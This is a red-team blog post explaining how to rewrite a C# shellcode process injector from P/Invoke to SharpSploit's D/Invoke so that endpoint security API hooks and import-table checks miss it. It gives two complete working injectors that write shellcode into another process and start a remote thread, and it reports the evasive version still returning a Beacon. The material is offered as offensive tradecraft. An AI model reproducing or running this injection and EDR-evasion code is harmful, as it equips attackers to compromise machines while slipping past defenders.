Process Injection using DInvoke
2020-07-19 09:00:00 Author: rastamouse.me(查看原文) 阅读量:247 收藏

Back in June, I posted a short update on my shared blog regarding the SharpSploit v1.6 release. Within that post I mentioned Dynamic Invocation, which is a new feature introduced by TheWover and b33f. It wasn’t the focus of my post so I didn’t go into any details, but TheWover already published some information about what DInvoke is and how to use it.

I obviously won’t reiterate everything written there, but here’s a quick recap:

Platform Invoke (P/Invoke) allows you to access methods within unmanaged libraries from managed code. In other words for us attackers - load and use native DLLs from .NET assemblies. Those that have used or written offensive tooling in C# (particularly for process injection) have seen this numerous times.

[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

First we define a DllImport attribute, providing the DLL that contains the method we want. Then provide the “signature” of that method, which defines what parameters it expects to take in and what it should return. These need to be “translated” from the native documentation, e.g. instead of a HANDLE in C, we use an Intptr in C#. Thereafter, we can just call this method from with our C#:

IntPtr hProcess = OpenProcess(0x001F0FFF, false, int.Parse(args[1]));

(where 0x001F0FFF equates to PROCESS_ALL_ACCESS).

The .NET runtime actually uses P/Invoke by design and namespaces like System.Diagnostics rely on OpenProcess under the hood. For instance, IntPtr hProcess = Process.GetProcessById(x) also gives us handle to the process, but the API calls have harded parameters such as PROCESS_QUERY_INFORMATION. So although we have a handle, it may not be of sufficient privilege and other API calls may not be exposed via the framework at all. This is why manually P/Invoking is necessary to access these APIs directly.

However, as TheWover explains, there are two disadvantages to using P/Invoke in this way:

  1. Any reference to a Windows API call made through P/Invoke will result in a corresponding entry in the .NET assembly’s Import Table.
  2. Any endpoint security product running on the target machine that is monitoring API calls (such as via API Hooking), will see/block/alert on any API calls made via P/Invoke.

The aim of D/Invoke is to provide an alternate means of accessing these native Windows APIs without leaving these particular indicators behind (that’s not to say D/Invoke doesn’t have indicators of its own).

The OpenProcess/VirtualAllocEx/WriteProcessMemory/CreateRemoteThread is the easiest and simplest process injection technique that I know, and served as a test case for “translating” from P/Invoke to D/Invoke. I also re-implemented b33f’s UrbanBishop project, but that would make for a much more complicated blog post :)

A typical example of this technique could look like this:

using System;
using System.IO;
using System.Runtime.InteropServices;

namespace InjectionTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var shellcode = File.ReadAllBytes(args[0]);

            var hProcess = OpenProcess(0x001F0FFF, false, int.Parse(args[1]));
            var alloc = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

            WriteProcessMemory(hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten);
            CreateRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
        }

        [DllImport("kernel32.dll")]
        static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [DllImport("kernel32.dll")]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}

If we use API Monitor as our would-be EDR, set hooks on these API calls and execute InjectionTest.exe, we can see how it picks up the details of our calls.

Furthermore, we can see how the assembly is locating those API calls at runtime using GetProcAddress.

API Monitor restores execution flow, but an EDR would obviously not be that considerate. Some EDRs may outright block access to these APIs, or at least will be able to inspect the calls (and even see the shellcode) before making some sort of decision for blocking. So let’s replace P/Invoke for D/Invoke - the process is not as hard as you expect.

The first step is to add SharpSploit as a reference for the Visual Studio Project. Then we need to replace the DllImport attributes with UnmanagedFunctionPointer declerations, and change static extern for delegate. The heart of D/Invoke works by “manually” mapping a DLL into the current process and getting a pointer to the desired method. Some delegate magic is then used to wrap that within something we can execute.

OpenProcess for example, would become:

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

The rest of the method signature remains the same.

Get a pointer to OpenProcess with: var pointer = Generic.GetLibraryAddress("kernel32.dll", "OpenProcess");.

Next, use GetDelegateForFunctionPointer to map this pointer to the delegate we made: var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess;.

And finally var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1]));.

The complete code:

using System;
using System.IO;
using System.Runtime.InteropServices;

using SharpSploit.Execution.DynamicInvoke;

namespace InjectionTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var shellcode = File.ReadAllBytes(args[0]);

            var pointer = Generic.GetLibraryAddress("kernel32.dll", "OpenProcess");
            var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess;
            var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1]));

            pointer = Generic.GetLibraryAddress("kernel32.dll", "VirtualAllocEx");
            var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(VirtualAllocEx)) as VirtualAllocEx;
            var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

            pointer = Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
            var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(WriteProcessMemory)) as WriteProcessMemory;
            writeProcessMemory(hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten);

            pointer = Generic.GetLibraryAddress("kernel32.dll", "CreateRemoteThread");
            var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(CreateRemoteThread)) as CreateRemoteThread;
            createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
        }

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}

As we can see - with the same hooks in place, API Monitor no longer sees our API calls and we still get our Beacon.

We also don’t see the same calls to GetProcAddress to get the addresses of those functions.

Just like P/Invoke, D/Invoke allows us to import and use native APIs but in a way that avoids entries in the import table and some userland API hooking. Without a significant amount of development work, we can port existing P/Invoke to D/Invoke to breath new life into old code. In addition to GetLibraryAddress, the D/Invoke API provides other means for mapping DLLs either from disk or memory. I look forward to exploring the various ways D/Invoke can improve covert tradecraft.

I hope this short primer will encourage those who find the idea of D/Invoke a bit daunting to give it a go.

Shoutout to both TheWover and b33f for their hard work in this area.


文章来源: https://rastamouse.me/blog/process-injection-dinvoke/
如有侵权请联系:admin#unsafe.sh